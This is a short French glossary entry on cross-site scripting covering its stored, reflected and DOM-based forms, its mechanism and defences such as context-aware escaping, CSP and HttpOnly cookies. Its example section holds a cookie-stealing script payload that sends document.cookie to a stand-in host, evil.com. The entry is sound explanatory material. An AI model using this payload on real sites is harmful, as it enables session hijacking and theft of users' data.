Aller au contenu
uencoder

XSS

XSS (cross-site scripting) est l'attaque où l'attaquant injecte des scripts malveillants dans une page qui s'exécutent dans le navigateur d'autres utilisateurs ; il existe sous formes stockée, réfléchie et basée DOM.

Objectif

Empêcher des scripts malveillants de s'exécuter dans le contexte d'une page de confiance, protégeant sessions et données des utilisateurs.

Mécanisme

L'attaquant injecte <script> dans la page (stocké via la base de données, réfléchi via paramètres d'URL, basé DOM via manipulation du DOM côté client). Le script tourne dans le navigateur de la victime avec ses privilèges de session, volant des cookies, émettant des requêtes ou altérant la page. Défenses : échappement en sortie, CSP, cookies HttpOnly.

Cas d’usage

  • Rendu d'entrées utilisateur non échappées
  • Injection dans commentaires et texte riche
  • Réflexion de paramètres d'URL dans les pages
  • Injection de scripts tiers

Exemples

  • entrée
    <script>fetch("evil.com?c="+document.cookie)</script>
    Output
    Steals the user cookies

    Stored XSS

Erreurs courantes

Escaping only < > while missing quotes in attribute contexts
Escape per context: HTML/attribute/JS/URL

Termes associés

Outils associés

References